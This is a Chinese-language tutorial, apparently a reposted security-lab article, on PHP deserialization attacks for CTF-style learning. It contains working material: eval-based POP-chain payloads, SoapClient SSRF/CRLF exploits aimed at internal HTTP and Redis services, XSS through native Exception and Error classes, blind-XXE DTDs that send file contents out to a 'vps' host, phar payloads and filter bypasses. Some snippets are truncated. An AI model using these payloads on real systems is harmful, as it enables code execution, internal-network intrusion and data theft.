反序列化的深入探讨

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所属分类:安全文章



序列化概念



序列化就是将一个对象转换成字符串,字符串包括该对象对应的类名,属性个数、属性名、属性值、属性名、值的类型和长度。


反序列化则是将字符串重新恢复成对象,在反序列化一个对象前,这个对象的类必须在解序列化之前定义。


serialize()序列化 unserialize()反序列化

<?phpclass Ctf{

public $flag = 'flag{******}';public $name = 'mtcz91';public $age = '10';public function __sleep(){return array('flag','age');}

}$ctfer = new Ctf();$ctfer->flag = 'flag{abcdefg}';$ctfer->name = 'mtcz91';$ctfer->age = '18';// $str = serialize($ctfer);// echo $str;echo '<br>';var_dump(unserialize('O:3:"Ctf":1:{s:3:"age";s:2:"18";}'));?>


O:3:"Ctf":3{s:4:"flag";s:13:"flag{u_are_the_future}";s:4:"name";s:5:"mtcz91";s:3:"age";s:2:"18";}

O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示

3 代表类名字占三个字符

ctf 类名

3 代表三个属性

s代表字符串

4代表属性名长度

flag属性名

s:13:"flag{u_are_the_future}" 字符串 属性值长度 属性值






序列化变量类型



a - array                  b - booleand - double                 i - integero - common object          r - references - string                 C - custom objectO - class                  N - nullR - pointer reference      U - unicode string

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,__sleep()方法会先被调用,然后才执行序列化操作。


unserialize() 会检查是否存在一个 __wakeup() 魔术方法,如果存在则会先调用__wakeup()方法在进行反序列化。


可以在__wakeup()方法中对属性进行初始化或者改变,表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。


访问控制修饰符
protected属性被序列化的时候属性值会变成%00*%00属性名
private属性被序列化的时候属性值会变成%00类名%00属性名


常见的魔术方法触发方式:


当对象被创建时:__construct

当对象被销毁时:__destruct

当对象被当作一个字符串使用时:__toString

序列化对象前使用:__sleep

反序列化恢复对象前调用:__wakeup

当调用对象中不存在的方法时自动调用:__call

从不可访问的属性读取数据:__get

当把一个对象当作一个函数调用时:__invoke





常见的反序列化


魔术方法中存在可利用代码


代码如下:

<?phpclass test{

function __destruct(){echo "destruct...<br>";eval($_GET['cmd']);}

}unserialize($_GET['u'])?>


构造test对象的序列化字符串O:4:"test":0:{}

<?phpclass test{}$test = new test;echo serialize($test);?>




存在调用其他类方法的代码

<?phpclass lemon{protected $ClassObj;function __construct(){$this->ClassObj = new normal();}function __destruct(){$this->ClassObj->action();}

}class normal{function action(){echo "hello";}}class evil{private $data;function action(){eval($this->data);}}unserialize($_GET['d']);?>


在exploit中,我们可以在__construct中将ClassObj换为evil类,然后将evil类的私有属性data赋值为phpinfo()。


O:5:"lemon":1:{s:11:"%00*%00ClassObj";O:4:"evil":1:{s:10:"%00evil%00data";s:10:"phpinfo();";}}

<?phpclass lemon{protected $ClassObj;function __construct(){$this->ClassObj = new evil();}function __destruct(){$this->ClassObj->action();}

}class normal{function action(){echo "hello";}}class evil{private $data = "phpinfo();";function action(){eval($this->data);}}$test = new lemon;echo urlencode(serialize($test));?>







 原生类利用


__call方法

<?php$rce = unserialize($_REQUEST['u']);echo $rce->notexist();?>


构造 exploit

<?phpecho serialize(new SoapClient(null, array('uri'=>'http://vps/','location'=>'http://vps/aaa')));?>




利用crlf进行更加深入的利用

<?php$rce = unserialize($_REQUEST['u']);echo $rce->notexist();?>


构造 exploit

<?php$poc = "i am evil string...";$target = "http://47.94.37.154:8080";$b = new SoapClient(null,array('location'=>$target, 'uri'=>'hello^^'.$poc.'^^hello'));$aaa = serialize($b);$aaa = str_replace('^^', "nr", $aaa);echo urlencode($aaa);?>




进而可以转换为如下两种攻击方式:


1. 构造post数据包来攻击内网HTTP服务,Soap默认头存在Content-Type:text/xml,但可以通过user_agent注入数据,将content-Type挤下,最终请求数据data=abc后的数据在容器处理下会被忽略。

 $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));    $aaa = serialize($b);    $aaa = str_replace('^^',"nr",$aaa);    echo urlencode($aaa);    ?>



2. 构造任意HTTP头来攻击内网其他服务(redis)

`CONFIG SET dir /root/` __toString方法,将对象作为字符串处理时会自动触发。

<?php$rce = unserialize($_REQUEST['u']);?>


构造exploit

O%3A9%3A%22Exception%22%3A6%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A37%3A%22%3Cscript%3Ealert%28%2Fhello+world%2F%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A38%3A%22D%3A%5CphpEnv%5Cwww%5Cwww.ctf-sql.com%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A10%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7D%7D
<?phpecho urlencode(serialize(new Exception("<script>alert(/hello world/)</script>")));?>



Error 适用于php 7.0

<?php$a = new Error("<script>alert(1)</script>");$b = serialize($a);echo urlencode($b);?>


test

<?php$t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D');$c = unserialize($t);echo $c;?>


__construct方法
通常情况下无法触发,当可以对任意类实例化时可以触发。

new SimpleXMLElement('http://vps/xxe_evil', LIBXML_NOENT, true)


xxe_evil

<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/xxe_read_passwd"> %remote; ]></root>


xxe_read_passwd

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Windows/System32/drivers/etc/hosts"><!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://vps/?xxe_local=%payload;'>">%int;%trick;


读取hosts,只读取了部分文件


phar反序列化

<?phpclass demo{public $t = "Test";function __destruct(){echo $this->t."win.";}}file_exists("phar://./demo.phar");?>


构造phar包

<?phpclass demo{public $t = "Test";function __destruct(){echo $this->t."win.";}}$obj = new demo;$obj->t = "you";$p = new Phar('./demo.phar',0);$p->startBuffering();$p->setMetadata($obj);$p->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');$p->addFromString('test.txt','test');$p->stopBuffering();?>






反序列化限制绕过


__wakeup:当属性个数不正确时,php中就不会调用__wakeup(php5-5.6.25、php7-7.0.10)


bypass 反序列化正则

使用正则/[oc]:d+:/i进行拦截

可以用 + 号进行绕过,如O:+4:"demo":1:{s:5:"demoa";a:0:{}}


反序列化字符逃逸

php在序列化字符串时,会保留该字符串的长度,然后将长度写入序列化后的数据,反序列化时就会按照长度进行读取,并且php底层是以;作为分割,以}作为结尾。类中不存在的属性也会进行反序列化,就会发生逃逸问题,导致对象注入。


session 反序列化

php默认存在一些session 处理器:php、php_binary、php_serialize 和 wddx。这些处理器都有经过序列化保存值,调用的时候会反序列化。

jarvisoj-web的一道SESSION反序列化题目


php 引用 & 绕过


Exception 绕过



参考链接:

  1. https://www.freebuf.com/articles/web/221213.html

  2. 《从0到1:ctfer成长之路》



end




本文始发于微信公众号(雷石安全实验室):反序列化的深入探讨

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